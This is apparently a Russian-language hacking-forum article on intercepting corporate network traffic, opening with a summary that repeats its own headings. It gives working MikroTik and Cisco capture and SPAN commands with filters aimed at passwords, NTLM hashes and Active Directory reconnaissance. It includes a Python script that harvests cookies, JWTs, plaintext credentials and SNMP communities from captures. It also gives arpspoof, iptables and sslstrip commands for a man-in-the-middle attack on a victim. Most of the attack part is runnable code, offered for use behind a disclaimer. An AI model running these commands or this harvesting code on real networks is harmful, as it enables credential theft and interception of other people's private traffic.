Здарова! Сегодня поговорим о такой базовой теме как сетевой трафик. Я расскажу про актуальные векторы получения информации и пентеста, а также научу действующим тактикам при перехвате и эксплаутации трафика.
Анализ трафика позволяет понять поведение сети, понять какие протоколы безопасности и службы используются в сети и что передается в открытом виде. Основной плюс перехвата, это возможность собирать информацию и получать логи, креды, хэши, сесии без взаимодействия со структурой и риска быть замеченным.
Разновидность атак MITM в контексте перехвата трафика:
Сегодня я опишу работу с:
После запуска выбираем адаптер:
Запуск перехвата/Пауза/Сохранение перехваченного трафика:
Некоторые вендоры позволяют напрямую сниффить и сохранять траффик в pcap, если эта функция не предусмотрена - можно настроить зеркалирование трафика на отдельный порт с действующим анализатором.
Подходящие вендоры:
Будем делать на примере циско и микрота. Для удобной работы советую использовать консольную оболочку.
После запуска сниффера в памяти оборудования создается
Остановка записи пакетов и сохранение файла:
Также возможно сохранение трафика файл с автоматической остановкой после определенного количества пакетов:
Полезные фильтры:
Ловим открытые логины/пароли (Telnet/FTP) и SMB-трафик с возможностью извлечь файлы и NTLM-артефакты.
Ловим NTLM challenge/response, LDAP-запросы (список пользователей/групп) и Kerberos-обмены для дальнейшего анализа и разведки AD
Поиск HTTP и сопутствующие веб-каналы (HTTP + альтернативные порты + HTTPS метаданные)
Перехват писем и вложений при отсутствии TLS (25/110/143) и сбор метаданных/попыток подключения на защищённых портах (993/995) для последующего анализа.
Cisco:
Делаем захват всего проходящего трафика на интерфейсе и сохраняем в pcap-файл на удалённом хосте.
Базовая конфигурация (создать буфер, привязать к интерфейсу, старт)
Мониторинг процесса (проверка, что захват идёт)
Остановка и сохранение в pcap
Подходит для устройств с аппаратным switch (CRS, некоторые RB). Если вы не уверены в поддержке — делайте через Winbox/WebFig (Switch → Mirror).
Добавляем правило зеркалирования (дублировать ingress+egress с порта(ов) на порт со сниффером):
Зеркалируем весь трафик по VLAN/порту/мосту на порт ether10:
Проверить существующие зеркала:
Подключаем ПК-сниффер (Wireshark, NetworkMiner) к ether10 и запускаем захват.
Удалить зеркало после перехвата:
Проверка трафика на целевом порту (быстрая):
Если зеркалируете VLAN, убедись, что bridge/порт корректно настроены и теги проходят.
В WebFig/Winbox: Switch → Mirror (GUI позволяет выбрать Source/Target визуально).
Cisco:
Если сниффер втыкается в тот же коммутатор, то проще всего снять все VLAN/порты в одной SPAN-сессии.
Создаём сессию SPAN
или можно просто указать все активные интерфейсы как source
Назначаем порт сниффера как приёмник
Проверяем
Траффик должен перенаправлятся на хост со сниффером.
Будем использовать инструмент/модуль tshark.
Поддержка протоколов:
Установка и запуск:
Основное преимущество инструмента это визуализация сетевого сегмента и сортировка полезных данных таких как:
Для перехвата пакетов выберите интерфейс и нажмите “Start”. Данные автоматически начнут добавляться в колонки.
Отчет по трафику
Список хостов:
Переданные в трафике файлы (Автоматическое сохранение в папку):
Переданные изображения (Автоматическое сохранение в папку):
Учетные данные и cookie-файлы:
Сетевые и веб сессии :
DNS сервера:
Параметры протоколов:
Важный момент - атаку иногда лочат новые браузеры так что на самых новых ОС не получится перенаправить трафик с одного протокола на другой, исключая кейсы с СИ.
Добавление параметра перенаправления трафика на 8888:
Проброс трафика на себя:
Для подмены протоколов будем использовать инструмент sslstrip - https://github.com/moxie0/sslstrip
Запускаем 8888 порт:
Теперь весь трафик http будет проходить через наш хост, запускаем tshark/wireshark и сохраняем нужный трафик.
Тут я кратко описал самый базовый и публичный метод, следующую статью я посвячу MITM атакам SSL strip + DNS injection которые позволяют обходить защиты и перенаправлять клиентов сети на http протокол для захвата данных в открытом виде.
Я показал как настроить перехват и сохранение трафика на сетевом оборудовании, а также научил вас зеркалировать все пакеты на локальный сниффер для дальнейшего анализа.
Тема вроде простенькая но об ней никто особо не писал, особенно про сетевое оборудование в контексте перехвата трафика. Так что думаю, статья имеет место быть.
Спойлер: ⚠️ Дисклеймер - материалы предназначены только для обучения и исследований, любое
Весь публикуемый материал (включая статьи, примеры кода, описания техник, инструкции и демонстрации) предназначен исключительно для: образовательных целей, повышения осведомлённости в области информационной безопасности, проведения исследований в контролируемых условиях (например, в собственных лабораториях или тестовых средах), разработки и улучшения средств защиты. Автор не поощряет, не поддерживает и не несёт ответственности за любое неправомерное или противоправное использование информации, включая, но не ограничиваясь: создание, распространение или использование вредоносного программного обеспечения, несанкционированный доступ к информационным системам, сетям или данным, нанесение ущерба третьим лицам, организациям или инфраструктуре. Все приведённые техники и примеры могут быть использованы только при условии наличия явного письменного разрешения владельца соответствующих систем или в полностью изолированной лабораторной среде. Использование материалов без согласия владельца ресурсов может являться нарушением законодательства и повлечь уголовную, административную или гражданскую ответственность в вашей юрисдикции. Автор прямо заявляет, что: не несёт ответственности за последствия использования информации читателями, не гарантирует применимость материалов за пределами исследовательских и образовательных целей, оставляет за собой право удалять или изменять материалы, если их публикация может привести к злоупотреблению. Настоящий дисклеймер действует в отношении всех публикаций, размещённых автором, независимо от языка, платформы и страны доступа. Используя данный материал, вы подтверждаете, что: действуете исключительно в рамках закона своей страны и международных норм, берёте полную ответственность за свои действия, понимаете, что данная публикация не является юридической консультацией. При наличии сомнений относительно правомерности тех или иных действий настоятельно рекомендуется обратиться за консультацией к профильному юристу.
Краткая теория
Роль перехвата трафика в корп сетях
В первую очередь надо понимать что сетевой трафик это любая информация, и запросы/ответы. Некоторые протоколы зашифрованы но сегодня расскажу про самые популярные лазейки для получение нужной информации.Анализ трафика позволяет понять поведение сети, понять какие протоколы безопасности и службы используются в сети и что передается в открытом виде. Основной плюс перехвата, это возможность собирать информацию и получать логи, креды, хэши, сесии без взаимодействия со структурой и риска быть замеченным.
Тактики перехвата (local sniff, router-side sniff, MITM)
- Local sniff - перехват пакетов которые проходят в сети и через хост на котором запущен перехват. Такой метод ограничен локальной видимостью: можно анализировать только трафик, доступный конкретному устройству (например, трафик собственной сети, broadcast-пакеты или пакеты, направленные напрямую на хост). Обычно используется для анализа активности одного пользователя или при тестировании локального окружения.
- Router-side sniff - перехват пакетов на стороне роутера. Этот способ позволяет получить трафик всей сетевой инфраструктуры которая подключена к сети на базе сетевого оборудования. Такой способ позволяет получить доступ ко всему трафику, который проходит через маршрутизатор: это может быть сегмент корпоративной сети или даже вся инфраструктура. В этом случае анализ охватывает гораздо больший объём данных, включая взаимодействия между различными подсетями, пользователями и серверами.
- MITM - вид атаки, при которой можно сниффить трафик между чужими устройствами.
Разновидность атак MITM в контексте перехвата трафика:
- ARP Spoofing – подмена ARP-таблиц в локальной сети, жертва отправляет трафик не на шлюз, а на машину атакующего.
- DNS Spoofing – подделка ответов DNS, перенаправление жертвы на фальшивый сервер или ресурс.
- DHCP Spoofing – выдача ложных параметров IP-конфигурации (шлюз, DNS), что позволяет полностью контролировать маршрутизацию трафика.
- SSL Stripping (HTTPS downgrade) – принудительное понижение соединения с HTTPS до HTTP, что открывает возможность чтения и подмены данных.
- ICMP Redirect – использование ICMP-сообщений для изменения маршрута и перенаправления трафика через узел злоумышленника.
Настройка перехвата
Локальная настройка перехвата
Можно использовать любой сниффер с возможностью сохранять трафик в pcap.Сегодня я опишу работу с:
- Wireshark - https://www.wireshark.org/download.html
- Network Miner - https://www.netresec.com/?page=NetworkMiner
После запуска выбираем адаптер:
Не удалось прогрузить медиа
Запуск перехвата/Пауза/Сохранение перехваченного трафика:
Не удалось прогрузить медиа
Настройка перехвата на сетевом оборудовании
При наличии доступа к админ панели сетевого оборудования определенных вендоров, открывается возможность перехвата и сохранения всего проходящего через него трафика.Некоторые вендоры позволяют напрямую сниффить и сохранять траффик в pcap, если эта функция не предусмотрена - можно настроить зеркалирование трафика на отдельный порт с действующим анализатором.
Подходящие вендоры:
-
Code:
Cisco Juniper Networks Aruba (HPE) Dell EMC Networking MikroTik TP-Link (управляемые линейки JetStream/Omada) Fortinet Palo Alto Networks Huawei Zyxel (управляемые серии) Ubiquiti (UniFi, EdgeSwitch) Check Point Allied Telesis
Перехват и сохранение трафика на стороне сетевого оборудования
Mikrotik:Будем делать на примере циско и микрота. Для удобной работы советую использовать консольную оболочку.
Code:
/tool sniffer set filter-interface=<interface-name> file-name=<file-name> streaming-enabled=yes
/tool/sniffer/start
.pcap файл.Остановка записи пакетов и сохранение файла:
Code:
/tool/sniffer/stop
Также возможно сохранение трафика файл с автоматической остановкой после определенного количества пакетов:
Code:
file-limit=<mb>
Полезные фильтры:
Ловим открытые логины/пароли (Telnet/FTP) и SMB-трафик с возможностью извлечь файлы и NTLM-артефакты.
Code:
/tool/sniffer/set filter-port=23,21,445,139 file-name=creds_files.pcap streaming-enabled=yes
/tool/sniffer/start
Ловим NTLM challenge/response, LDAP-запросы (список пользователей/групп) и Kerberos-обмены для дальнейшего анализа и разведки AD
Code:
/tool/sniffer/set filter-port=445,139,389,88 file-name=ad_recon.pcap streaming-enabled=yes
/tool/sniffer/start
Поиск HTTP и сопутствующие веб-каналы (HTTP + альтернативные порты + HTTPS метаданные)
Code:
/tool/sniffer/set filter-interface=bridge filter-port=80,8080,8000,443 file-name=http_exfil_c2.pcap streaming-enabled=yes
/tool/sniffer/start
Перехват писем и вложений при отсутствии TLS (25/110/143) и сбор метаданных/попыток подключения на защищённых портах (993/995) для последующего анализа.
Code:
/tool/sniffer/set filter-port=25,110,143,995,993 file-name=mail.pcap streaming-enabled=yes
/tool/sniffer/start
Cisco:
Делаем захват всего проходящего трафика на интерфейсе и сохраняем в pcap-файл на удалённом хосте.
Базовая конфигурация (создать буфер, привязать к интерфейсу, старт)
Code:
enable
configure terminal
! 1. Создать круговой буфер (пример 50000 KB)
monitor capture CAP buffer circular size 50000
! 2. Привязать захват к интерфейсу (both = ingress+egress)
monitor capture CAP interface GigabitEthernet0/0 both
! 3. Если нужен фильтр — указать. Для "всего" используем any
monitor capture CAP match any
! 4. Запустить захват
monitor capture CAP start
Мониторинг процесса (проверка, что захват идёт)
Code:
show monitor capture CAP buffer
show monitor capture CAP
! Быстрый просмотр захваченных пакетов (только кратко)
show monitor capture CAP detail
Остановка и сохранение в pcap
Code:
monitor capture CAP stop
! Экспортировать pcap на SCP (пример)
monitor capture CAP export scp://user:[email protected]:/tmp/capture.pcap
! Или экспорт в TFTP/FTP/bootflash (в зависимости от платформы)
monitor capture CAP export tftp://192.0.2.20/capture.pcap
! или
monitor capture CAP export bootflash:capture.pcap
Зеркалирование порта и перенаправление трафика на сниффер
Mikrotik:Подходит для устройств с аппаратным switch (CRS, некоторые RB). Если вы не уверены в поддержке — делайте через Winbox/WebFig (Switch → Mirror).
Добавляем правило зеркалирования (дублировать ingress+egress с порта(ов) на порт со сниффером):
Зеркалируем весь трафик по VLAN/порту/мосту на порт ether10:
Code:
/interface bridge mirror add bridge=bridge1 ingress=yes egress=yes mirror-target=ether10
Проверить существующие зеркала:
Code:
/interface bridge mirror print
Подключаем ПК-сниффер (Wireshark, NetworkMiner) к ether10 и запускаем захват.
Удалить зеркало после перехвата:
Code:
/interface bridge mirror remove numbers=0
Проверка трафика на целевом порту (быстрая):
Code:
/interface monitor-traffic interface=ether10 once
Если зеркалируете VLAN, убедись, что bridge/порт корректно настроены и теги проходят.
В WebFig/Winbox: Switch → Mirror (GUI позволяет выбрать Source/Target визуально).
Cisco:
Если сниффер втыкается в тот же коммутатор, то проще всего снять все VLAN/порты в одной SPAN-сессии.
Code:
enable configure terminal
Создаём сессию SPAN
Code:
monitor session 1 source vlan 1-4094 both
или можно просто указать все активные интерфейсы как source
Code:
monitor session 1 source interface Gi0/1 - 48 both
Назначаем порт сниффера как приёмник
Code:
monitor session 1 destination interface GigabitEthernet1/0/48
Проверяем
Code:
show monitor session 1
Траффик должен перенаправлятся на хост со сниффером.
Анализ и сортировка
Парсинг из трафика
Тут много писать не буду, работу с Wireshark-ом я описывал выше, так что покажу автоматизацию парсинга на Python.Будем использовать инструмент/модуль tshark.
Python:
# pcap_tools.py
import os
import re
import json
import csv
import socket
import subprocess
from typing import List
import pyshark
import dpkt
def _ensure_dir(p: str):
if p and not os.path.exists(p):
os.makedirs(p, exist_ok=True)
def _inet_to_str(b: bytes) -> str:
try:
return socket.inet_ntop(socket.AF_INET, b)
except Exception:
try:
return socket.inet_ntop(socket.AF_INET6, b)
except Exception:
return str(b)
# SNI и сертификаты
def extract_sni_certs(pcap: str, out_json: str = "sni_certs.json"):
res = []
cap = pyshark.FileCapture(pcap, display_filter='tls.handshake and (tls.handshake.type == 1 or tls.handshake.type == 11)', keep_packets=False)
for pkt in cap:
try:
r = {"time": str(getattr(pkt, "sniff_time", "")),
"ip_src": getattr(pkt.ip, "src", None) if hasattr(pkt, "ip") else None,
"ip_dst": getattr(pkt.ip, "dst", None) if hasattr(pkt, "ip") else None,
"sni": None, "cert_subjects": [], "cert_issuer": None, "tls_version": None, "cipher": None}
if hasattr(pkt.tls, 'handshake_extensions_server_name'):
r["sni"] = pkt.tls.handshake_extensions_server_name
if hasattr(pkt.tls, 'x509ce_subject'):
r["cert_subjects"].append(pkt.tls.x509ce_subject)
if hasattr(pkt.tls, 'x509ce_issuer'):
r["cert_issuer"] = pkt.tls.x509ce_issuer
if hasattr(pkt.tls, 'record_version'):
r["tls_version"] = pkt.tls.record_version
if hasattr(pkt.tls, 'handshake_ciphersuite'):
r["cipher"] = pkt.tls.handshake_ciphersuite
res.append(r)
except Exception:
continue
cap.close()
_ensure_dir(os.path.dirname(out_json) or ".")
with open(out_json, "w", encoding="utf-8") as f:
json.dump(res, f, indent=2, ensure_ascii=False)
# HTTP cookie и JWT
_JWT_RE = re.compile(rb'eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+')
def extract_http_cookies_jwt(pcap: str, out_csv: str = "http_cookies_jwt.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
with open(out_csv, "w", newline="", encoding="utf-8") as fh:
writer = csv.DictWriter(fh, fieldnames=["time","src","dst","host","uri","method","cookie","auth","jwt"])
writer.writeheader()
cap = pyshark.FileCapture(pcap, display_filter='http.request', keep_packets=False)
for pkt in cap:
try:
row = {"time": str(getattr(pkt, "sniff_time", "")),
"src": getattr(pkt.ip, "src", None) if hasattr(pkt, "ip") else None,
"dst": getattr(pkt.ip, "dst", None) if hasattr(pkt, "ip") else None,
"host": getattr(pkt.http, "host", None) if hasattr(pkt, "http") else None,
"uri": getattr(pkt.http, "request_uri", None) if hasattr(pkt, "http") else None,
"method": getattr(pkt.http, "request_method", None) if hasattr(pkt, "http") else None,
"cookie": getattr(pkt.http, "cookie", None) if hasattr(pkt, "http") else None,
"auth": getattr(pkt.http, "authorization", None) if hasattr(pkt, "http") else None,
"jwt": None}
raw = bytes(str(pkt).encode("utf-8", errors="ignore"))
m = _JWT_RE.search(raw)
if m:
try:
row["jwt"] = m.group(0).decode('utf-8', errors='ignore')
except Exception:
row["jwt"] = m.group(0).hex()
writer.writerow(row)
except Exception:
continue
cap.close()
# Экспорт HTTP-объектов через tshark
def export_http_objects(pcap: str, out_dir: str = "http_objs"):
_ensure_dir(out_dir)
cmd = ["tshark", "-r", pcap, "--export-objects", f"http,{out_dir}"]
subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Список POST-запросов
def list_http_posts(pcap: str, out_csv: str = "http_posts.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
cmd = [
"tshark", "-r", pcap,
"-Y", 'http.request.method == "POST"',
"-T", "fields",
"-e", "frame.time_epoch",
"-e", "ip.src",
"-e", "http.host",
"-e", "http.request.uri",
"-e", "http.content_length",
"-E", "separator=,",
"-E", "quote=d"
]
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
with open(out_csv, "wb") as f:
f.write(proc.stdout)
# DNS запросы (dpkt)
def extract_dns(pcap: str, out_csv: str = "dns_queries.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
with open(pcap, "rb") as f, open(out_csv, "w", newline="", encoding="utf-8") as out:
pcap_r = dpkt.pcap.Reader(f)
w = csv.writer(out)
w.writerow(["time","src","dst","qname","qtype"])
for ts, buf in pcap_r:
try:
eth = dpkt.ethernet.Ethernet(buf)
if not isinstance(eth.data, dpkt.ip.IP):
continue
ip = eth.data
if isinstance(ip.data, dpkt.udp.UDP):
udp = ip.data
if udp.sport == 53 or udp.dport == 53:
try:
dns = dpkt.dns.DNS(udp.data)
except Exception:
continue
if dns.qr == dpkt.dns.DNS_Q and dns.qd:
for q in dns.qd:
w.writerow([ts, _inet_to_str(ip.src), _inet_to_str(ip.dst), q.name, q.type])
except Exception:
continue
# NTLMSSP через tshark
def extract_ntlmsssp(pcap: str, out_csv: str = "ntlmssp.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
cmd = [
"tshark", "-r", pcap, "-Y", "ntlmssp",
"-T", "fields",
"-e", "frame.time_epoch",
"-e", "ip.src",
"-e", "ip.dst",
"-e", "ntlmssp.username",
"-e", "ntlmssp.domain",
"-e", "ntlmssp.challenge",
"-e", "ntlmssp.msg_type",
"-E", "separator=,",
"-E", "quote=d"
]
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
with open(out_csv, "wb") as f:
f.write(proc.stdout)
# Поиск plaintext credentials (raw)
_CRED_RE = re.compile(
rb'(?:(?:user|login|username|usr)[\s:=]{0,5}([^\s,;:&]+))|(?:(?:pass|password|pwd)[\s:=]{0,5}([^\s,;:&]+))',
re.I
)
def extract_plaintext_creds(pcap: str, out_csv: str = "plaintext_creds.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
cmd = [
"tshark", "-r", pcap,
"-Y", "telnet or ftp or smtp or pop or imap or http.request or ldap or snmp",
"-T", "fields",
"-e", "frame.time_epoch",
"-e", "ip.src",
"-e", "ip.dst",
"-e", "tcp.port",
"-e", "udp.port",
"-e", "data.text",
"-E", "separator=|"
]
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
with open(out_csv, "w", newline="", encoding="utf-8") as fh:
w = csv.writer(fh)
w.writerow(["time","src","dst","sport","dport","user","pass","context"])
for line in proc.stdout.splitlines():
try:
parts = line.split(b"|", maxsplit=5)
if len(parts) < 6:
continue
t, src, dst, sport, dport, data = parts
if not data:
continue
m = _CRED_RE.findall(data)
user = ""
pwd = ""
for g in m:
for group in g:
if group:
s = group.decode(errors="ignore")
if re.search(r'(?i)user|login|username', data.decode(errors="ignore")) and not user:
user = s
elif re.search(r'(?i)pass|password|pwd', data.decode(errors="ignore")) and not pwd:
pwd = s
if user or pwd:
w.writerow([t.decode(errors="ignore"), src.decode(errors="ignore"), dst.decode(errors="ignore"),
sport.decode(errors="ignore"), dport.decode(errors="ignore"),
user, pwd, data.decode(errors="ignore")[:1000]])
except Exception:
continue
# SNMP community
def extract_snmp_communities(pcap: str, out_csv: str = "snmp_communities.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
cmd = ["tshark", "-r", pcap, "-Y", "snmp", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "snmp.community", "-E", "separator=,", "-E", "quote=d"]
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
with open(out_csv, "wb") as f:
f.write(proc.stdout)
# LDAP binds
def extract_ldap_binds(pcap: str, out_csv: str = "ldap_binds.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
cmd = ["tshark", "-r", pcap, "-Y", "ldap", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "ldap.bind.request.name", "-E", "separator=,", "-E", "quote=d"]
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
with open(out_csv, "wb") as f:
f.write(proc.stdout)
# NetBIOS names
def extract_netbios_names(pcap: str, out_csv: str = "netbios_names.csv"):
_ensure_dir(os.path.dirname(out_csv) or ".")
cmd = ["tshark", "-r", pcap, "-Y", "nbns", "-T", "fields", "-e", "frame.time_epoch", "-e", "ip.src", "-e", "ip.dst", "-e", "nbns.name", "-E", "separator=,", "-E", "quote=d"]
proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
with open(out_csv, "wb") as f:
f.write(proc.stdout)
# Аггрегация IOC
def aggregate_ioc(pcap: str, out_json: str = "ioc_summary.json"):
res = {"sni": [], "dns": [], "http_hosts": []}
try:
proc = subprocess.run(["tshark", "-r", pcap, "-Y", "tls.handshake.extensions_server_name", "-T", "fields", "-e", "tls.handshake.extensions_server_name"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if proc.returncode == 0:
res["sni"] = sorted(set(x.strip() for x in proc.stdout.decode(errors="ignore").splitlines() if x.strip()))
except Exception:
pass
try:
proc = subprocess.run(["tshark", "-r", pcap, "-Y", "http.request", "-T", "fields", "-e", "http.host"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if proc.returncode == 0:
res["http_hosts"] = sorted(set(x.strip() for x in proc.stdout.decode(errors="ignore").splitlines() if x.strip()))
except Exception:
pass
dns_tmp = "tmp_dns.csv"
extract_dns(pcap, out_csv=dns_tmp)
dns_names = set()
try:
with open(dns_tmp, "r", encoding="utf-8") as fh:
next(fh)
for l in fh:
parts = l.split(",")
if len(parts) >= 4:
dns_names.add(parts[3].strip())
except Exception:
pass
res["dns"] = sorted(dns_names)
_ensure_dir(os.path.dirname(out_json) or ".")
with open(out_json, "w", encoding="utf-8") as f:
json.dump(res, f, indent=2, ensure_ascii=False)
try:
os.remove(dns_tmp)
except Exception:
pass
- Функционал:
Собирает SNI из ClientHello и базовые поля сертификатов из ServerHello/Certificate. Полезно для картографии внешних сервисов и поиска подозрительных доменов. - extract_http_cookies_jwt(pcap, out_csv)
Извлекает заголовки HTTP-запросов: cookie, Authorization, пытается найти JWT в теле/заголовках. Удобно для захвата сессионных маркеров. - export_http_objects(pcap, out_dir)
Вызывает tshark --export-objects http и сохраняет все найденные HTTP-объекты (страницы, загрузки, вложения) в папку. - list_http_posts(pcap, out_csv)
Формирует CSV со всеми HTTP POST (time, src, host, uri, content_length). Помогает быстро найти потенциальную эксфильтрацию. - extract_dns(pcap, out_csv)
Быстрый проход pcap через dpkt и экспорт всех DNS-запросов с метаданными. Полезно для поиска C2/подозрительных доменов. - extract_ntlmsssp(pcap, out_csv)
Экспортирует NTLMSSP-поля (username, domain, challenge, msg_type) через tshark для оффлайн-анализа и подготовки артефактов для кракинга/Pass-the-Hash. - extract_plaintext_creds(pcap, out_csv)
Использует tshark для вытяжки raw payload текстовых протоколов и regex-скан для возможных username/password. Быстрый способ найти явные креденшалы. - extract_snmp_communities(pcap, out_csv)
Экспортирует SNMP community strings (v1/v2) — часто даёт «public/private» и другую служебную информацию. - extract_ldap_binds(pcap, out_csv)
Извлекает LDAP bind-имена и другие поля запроса, полезно для понимания структуры AD при незашифрованном LDAP. - extract_netbios_names(pcap, out_csv)
Собирает NetBIOS-имена/запросы для быстрой картографии локальной сети. - aggregate_ioc(pcap, out_json)
Формирует краткий дайджест IOCs: уникальные SNI, HTTP-hosts, DNS-имена. Удобно как первый шаг разведки.
Использование credslayer
Credslayer - инструмент для автоматического парсинга ценной информации из траффика.Поддержка протоколов:
-
Code:
FTP SMTP / IMAP / POP3 Telnet HTTP LDAP SNMP MySQL / PostgreSQL NTLMSSP Kerberos coming soon...
Установка и запуск:
Bash:
pip install credslayer<br>credslayer <.pcap file><br>
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Построение карты через Network Miner
Network Miner - инструмент для перехвата, анализа и удобной сортировки траффика.Основное преимущество инструмента это визуализация сетевого сегмента и сортировка полезных данных таких как:
- - Затронутые в пакетах хосты
- - Файлы в траффике
- - Выгрузка изображений с траффика
- - Учетные данные
- - Сессии
- - DNS пакеты
- - Параметры протоколов (например SMB)
Для перехвата пакетов выберите интерфейс и нажмите “Start”. Данные автоматически начнут добавляться в колонки.
Отчет по трафику
Список хостов:
Не удалось прогрузить медиа
Переданные в трафике файлы (Автоматическое сохранение в папку):
Не удалось прогрузить медиа
Переданные изображения (Автоматическое сохранение в папку):
Не удалось прогрузить медиа
Учетные данные и cookie-файлы:
Не удалось прогрузить медиа
Сетевые и веб сессии :
Не удалось прогрузить медиа
DNS сервера:
Не удалось прогрузить медиа
Параметры протоколов:
Не удалось прогрузить медиа
Получаем HTTPS в открытом виде (Спойлер на след. статью)
SSL strip - вид MITM атаки, при которой происходит arp spoofing и подмена запросов с HTTPS на HTTP протокол. Это позволяет получать все пакеты HTTPS в открытом виде.Важный момент - атаку иногда лочат новые браузеры так что на самых новых ОС не получится перенаправить трафик с одного протокола на другой, исключая кейсы с СИ.
Добавление параметра перенаправления трафика на 8888:
Code:
iptables -t nat -A PREROUTING -p tcp-destination-port 80 -j REDIRECT-to-port 8888
Проброс трафика на себя:
Code:
arpspoof -i eth0 -t *'Victims IP’* ‘Your IP'`
Для подмены протоколов будем использовать инструмент sslstrip - https://github.com/moxie0/sslstrip
Запускаем 8888 порт:
Code:
sslstrip -l 8888
Теперь весь трафик http будет проходить через наш хост, запускаем tshark/wireshark и сохраняем нужный трафик.
Тут я кратко описал самый базовый и публичный метод, следующую статью я посвячу MITM атакам SSL strip + DNS injection которые позволяют обходить защиты и перенаправлять клиентов сети на http протокол для захвата данных в открытом виде.
Итоги
Сегодня мы научились работать с сетевым оборудованием в контексте перехвата трафика, чтобы получать ценные данные со всей сети при пентесте.Я показал как настроить перехват и сохранение трафика на сетевом оборудовании, а также научил вас зеркалировать все пакеты на локальный сниффер для дальнейшего анализа.
Тема вроде простенькая но об ней никто особо не писал, особенно про сетевое оборудование в контексте перехвата трафика. Так что думаю, статья имеет место быть.
Дисклеймер/Disclaimer
Спойлер: ⚠️ Дисклеймер - материалы предназначены только для обучения и исследований, любое
Весь публикуемый материал (включая статьи, примеры кода, описания техник, инструкции и демонстрации) предназначен исключительно для: образовательных целей, повышения осведомлённости в области информационной безопасности, проведения исследований в контролируемых условиях (например, в собственных лабораториях или тестовых средах), разработки и улучшения средств защиты. Автор не поощряет, не поддерживает и не несёт ответственности за любое неправомерное или противоправное использование информации, включая, но не ограничиваясь: создание, распространение или использование вредоносного программного обеспечения, несанкционированный доступ к информационным системам, сетям или данным, нанесение ущерба третьим лицам, организациям или инфраструктуре. Все приведённые техники и примеры могут быть использованы только при условии наличия явного письменного разрешения владельца соответствующих систем или в полностью изолированной лабораторной среде. Использование материалов без согласия владельца ресурсов может являться нарушением законодательства и повлечь уголовную, административную или гражданскую ответственность в вашей юрисдикции. Автор прямо заявляет, что: не несёт ответственности за последствия использования информации читателями, не гарантирует применимость материалов за пределами исследовательских и образовательных целей, оставляет за собой право удалять или изменять материалы, если их публикация может привести к злоупотреблению. Настоящий дисклеймер действует в отношении всех публикаций, размещённых автором, независимо от языка, платформы и страны доступа. Используя данный материал, вы подтверждаете, что: действуете исключительно в рамках закона своей страны и международных норм, берёте полную ответственность за свои действия, понимаете, что данная публикация не является юридической консультацией. При наличии сомнений относительно правомерности тех или иных действий настоятельно рекомендуется обратиться за консультацией к профильному юристу.
👍12
😮2
🤔3
LIMB